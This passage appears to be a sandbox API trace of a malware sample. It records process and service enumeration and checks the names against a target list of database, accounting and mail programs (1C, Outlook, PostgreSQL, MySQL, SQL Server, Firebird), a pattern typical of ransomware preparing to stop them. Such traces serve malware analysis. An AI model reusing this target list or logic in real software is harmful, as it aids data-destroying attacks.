-1 [0151.903] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0151.904] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0151.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0151.904] lstrlenW (lpString="TrkWks") returned 6 [0151.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0151.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0151.904] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0151.904] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0151.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0151.904] lstrlenW (lpString="UxSms") returned 5 [0151.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0151.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0151.904] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0151.904] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0151.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0151.904] lstrlenW (lpString="Winmgmt") returned 7 [0151.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0151.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0151.904] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0151.904] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0151.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0151.904] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x428bbd0 | out: hHeap=0x880000) returned 1 [0151.904] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3a0 [0151.906] Process32FirstW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0151.906] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0151.907] lstrlenW (lpString="System") returned 6 [0151.907] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0151.907] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0151.907] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0151.907] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0151.907] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0151.907] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0151.907] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0151.907] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0151.907] lstrlenW (lpString="smss.exe") returned 8 [0151.907] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0151.907] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0151.907] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0151.908] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0151.908] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0151.908] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0151.908] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0151.908] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0151.908] lstrlenW (lpString="csrss.exe") returned 9 [0151.908] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0151.908] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0151.908] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0151.908] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0151.908] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0151.908] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0151.908] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0151.908] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0151.909] lstrlenW (lpString="wininit.exe") returned 11 [0151.909] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0151.909] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0151.909] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0151.909] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0151.909] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0151.909] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0151.909] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0151.909] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0151.909] lstrlenW (lpString="csrss.exe") returned 9 [0151.909] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0151.909] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0151.909] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0151.909] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0151.909] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0151.909] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0151.909] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0151.909] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0151.910] lstrlenW (lpString="winlogon.exe") returned 12 [0151.910] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0151.910] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0151.910] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0151.910] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0151.910] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0151.910] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0151.910] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0151.910] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0151.910] lstrlenW (lpString="services.exe") returned 12 [0151.910] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0151.910] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0151.910] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0151.910] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0151.910] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0151.910] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0151.910] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0151.910] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0151.911] lstrlenW (lpString="lsass.exe") returned 9 [0151.911] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0151.911] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0151.911] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0151.911] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0151.911] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0151.911] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0151.911] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0151.911] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0151.911] lstrlenW (lpString="lsm.exe") returned 7 [0151.911] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0151.911] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0151.911] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0151.911] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0151.911] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0151.911] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0151.911] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0151.912] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.912] lstrlenW (lpString="svchost.exe") returned 11 [0151.912] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0151.912] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0151.912] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0151.912] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0151.912] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0151.912] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0151.912] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.912] lstrlenW (lpString="svchost.exe") returned 11 [0151.912] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.913] lstrlenW (lpString="svchost.exe") returned 11 [0151.913] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.913] lstrlenW (lpString="svchost.exe") returned 11 [0151.913] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.913] lstrlenW (lpString="svchost.exe") returned 11 [0151.913] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0151.914] lstrlenW (lpString="audiodg.exe") returned 11 [0151.914] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.914] lstrlenW (lpString="svchost.exe") returned 11 [0151.914] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0151.915] lstrlenW (lpString="explorer.exe") returned 12 [0151.915] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0151.915] lstrlenW (lpString="dwm.exe") returned 7 [0151.915] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.915] lstrlenW (lpString="svchost.exe") returned 11 [0151.915] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0151.916] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0151.916] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0151.916] lstrlenW (lpString="spoolsv.exe") returned 11 [0151.916] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0151.916] lstrlenW (lpString="reader_sl.exe") returned 13 [0151.916] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.917] lstrlenW (lpString="svchost.exe") returned 11 [0151.917] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0151.917] lstrlenW (lpString="taskhost.exe") returned 12 [0151.917] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0151.917] CloseHandle (hObject=0x3a0) returned 1 [0151.918] Sleep (dwMilliseconds=0x1f4) [0152.482] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x39c0b50 [0152.540] EnumServicesStatusExW (in: hSCManager=0x39c0b50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0152.541] GetLastError () returned 0xea [0152.541] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xe90) returned 0x428bbd0 [0152.541] EnumServicesStatusExW (in: hSCManager=0x39c0b50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x428bbd0, cbBufSize=0xe90, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x428bbd0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0152.541] CloseServiceHandle (hSCObject=0x39c0b50) returned 1 [0152.542] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0152.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0152.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0152.542] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0152.542] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0152.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0152.542] lstrlenW (lpString="AudioSrv") returned 8 [0152.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0152.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0152.542] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0152.542] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0152.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0152.542] lstrlenW (lpString="BFE") returned 3 [0152.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0152.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0152.542] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0152.542] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0152.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0152.542] lstrlenW (lpString="CryptSvc") returned 8 [0152.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0152.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0152.542] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0152.542] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0152.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0152.542] lstrlenW (lpString="CscService") returned 10 [0152.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0152.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0152.542] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0152.542] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0152.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0152.543] lstrlenW (lpString="DcomLaunch") returned 10 [0152.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0152.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0152.543] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0152.543] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0152.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0152.543] lstrlenW (lpString="Dhcp") returned 4 [0152.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0152.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0152.543] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0152.543] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0152.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0152.543] lstrlenW (lpString="Dnscache") returned 8 [0152.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0152.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0152.543] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0152.543] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0152.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0152.543] lstrlenW (lpString="DPS") returned 3 [0152.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0152.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0152.543] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0152.543] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0152.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0152.543] lstrlenW (lpString="eventlog") returned 8 [0152.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0152.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0152.543] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0152.543] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0152.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0152.543] lstrlenW (lpString="EventSystem") returned 11 [0152.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0152.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0152.544] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0152.544] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0152.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0152.544] lstrlenW (lpString="gpsvc") returned 5 [0152.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0152.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0152.544] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0152.544] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0152.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0152.544] lstrlenW (lpString="iphlpsvc") returned 8 [0152.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0152.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0152.544] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0152.544] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0152.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0152.544] lstrlenW (lpString="LanmanServer") returned 12 [0152.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0152.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0152.544] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0152.544] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0152.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0152.544] lstrlenW (lpString="LanmanWorkstation") returned 17 [0152.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0152.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0152.544] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0152.544] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0152.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0152.544] lstrlenW (lpString="lmhosts") returned 7 [0152.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0152.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0152.544] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0152.545] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0152.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0152.545] lstrlenW (lpString="MMCSS") returned 5 [0152.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0152.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0152.545] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0152.545] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0152.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0152.545] lstrlenW (lpString="MpsSvc") returned 6 [0152.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0152.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0152.545] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0152.545] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0152.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 